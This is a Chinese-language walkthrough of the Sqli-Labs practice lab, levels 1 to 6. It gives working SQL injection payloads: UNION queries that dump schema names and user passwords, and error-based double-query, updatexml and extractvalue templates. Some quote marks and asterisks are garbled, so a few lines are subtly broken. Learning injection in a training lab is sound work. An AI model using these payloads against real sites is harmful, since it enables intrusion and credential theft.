Sqli-Labs 闯关 less1-6

开始之前先分享一点基础知识。

常用系统函数

  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

字符串连接函数

  1. concat(str1,str2,…)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  3. group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据 说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了

常用的语句

        1. 查库:select schema_name from information_schema.schemata

        2. 查表:select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)

        3. 查列:select column_name from information_schema.columns where table_name='users'

         4. 查字段:select username,password from security.users

一般用于测试是否存在注入

?? and 1=2–+

‘and 1=2–+

“and 1=2–+

)and 1=2–+

‘)and 1=2–+

“)and 1=2–+

“))and 1=2–+

Less1

1.首先,我们输入?id=1',出现了报错,但是输入了?id=1,正常。

说明存在字符型注入

 

2. 我们在后面加上--+进行一下闭合,(--+就是注释符号,注释了后面的语句),回显正常,说明是单引号字符型注入。

 3.接下来用order by 来判断表有几列数据,发现他有3列数据。因为3时正常,4时错误。

4. 可以看见没有第四列,所以只有三个字段,下面直接用union来查询。

   将id=1改为一个数据库不存在的id值,使用union select 1,2,3联合查询语句查看页面是否有显示位。

   发现页面先输出了2和3,说明页面有2个显示位

 5..然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息

查询数据库名信息:union select 1,(select group_concat(schema_name) from information_schema.schemata)

 查询security内的所有表名: union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

 

 爆破出列名:union select 1,2,group_concat(concat_ws(0x23,column_name)) from information_schema.columns where table_name='users' --+

 查询字段中的内容:union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

 

好了,这第一关算是结束了。

Less2

通过输入 ?id=1,显示正确,?id=1and 1=2--+,显示错误。可以知道此处是数字型注入。不用考虑闭合sql语句,以上步骤相同。

 

 最后得到的用户名密码:?id=-1 union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

Less 3

首先我们来查看加入'看报错了 在加‘’ 没报错 证明 存在注入

 

 

 然后我们发现上面第二张图的报错回显,发现多了一个)证明他的语句变成了 id=那我们可以根据此特性构造闭合语句,我们此时在构造id=1')闭合前面的括号和引号。

其他的就和第一关的步骤是一模一样的了,

最后的得到用户名密码:?id=0') union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

Less 4

这关是基于错误的GET双引号变形字符型注入,

首先我们进行注入试探 发现我们的单引号 回显事正常的 双引号回显反而是错误的

 

 我们通过测试得出格式为(”“),所以需要闭合的语句变成了”)。

其他步骤与第一关一样。

最后得到用户名和密码:?id=-1") union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

第一关:id=‘1’

第二关:id=1

第三关:id=(‘1’)

第四关:id= (“1”)

只是需要闭合的sql语句不同,其他相同。

Less 5

基础知识:

1. left()函数: left(database(),1)=‘s’       left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0

   例如上例中就是先查询database()数据库,从左面看他第一个字母是否是s,如果是则返回1,错误则返回0;

2.regexp函数:select user() regexp ‘r’ user()的结果是root,regexp为匹配root的正则表达式

   例如上例中就是把查询到的user用户也就是root和r从左至右进行比较,相同是1,不同是0.

3. like函数: select user() like ‘ro%’ 匹配与regexp相似。

   与上个函数类似,唯一不同就是加一个%

4. substr(a,b,c) select substr() XXXX substr(a,b,c)从位置b开始,截取a字符串c位长度

   例如select substr((select database()),1,1)='s’; 匹配第一个字符是否是 s

5. ascii() 将某个字符串转化为ascii值

双注入主要涉及到了几个sql函数:

1. rand()随机函数,返回0~1之间的某个值
2. floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
3. count()聚合函数也称作计数函数,返回查询对象的总数
4. group by cluase分组语句,按照cluase对查询结果分组

常用的报错语句模板:

  1. 通过floor报错
    and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a)
    其中payload为你要插入的SQL语句
    需要注意的是该语句将 输出字符长度限制为64个字符

  2. 通过updatexml报错
    and updatexml(1,payload,1)
    同样该语句对输出的字符长度也做了限制,其最长输出32位
    并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

  3. 通过ExtractValue报错
    and extractvalue(1, payload)
    输出字符有长度限制,最长32位。

接下来我们正式开始。我们首先像往常一样输入:?id=1  发现出现了跟以往不一样的东东了。

 遇到这个情况有三种结果:布尔盲注,报错型注入,时间延迟注入。

payload即我们要输入的sql查询语句,这里面的concat是聚合函数,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息。

双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。 那么开始构建sql语句:

获取数据库名:这里我们给查询的数据起了另一个名 a

?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+

获取表名

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

 查询用户信息:

?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+ 

Less 6

与第5关基本一样,把?id=1‘改为?id=1" 即可。

 

猜你喜欢

转载自www.cnblogs.com/qi-yuan/p/12219535.html
今日推荐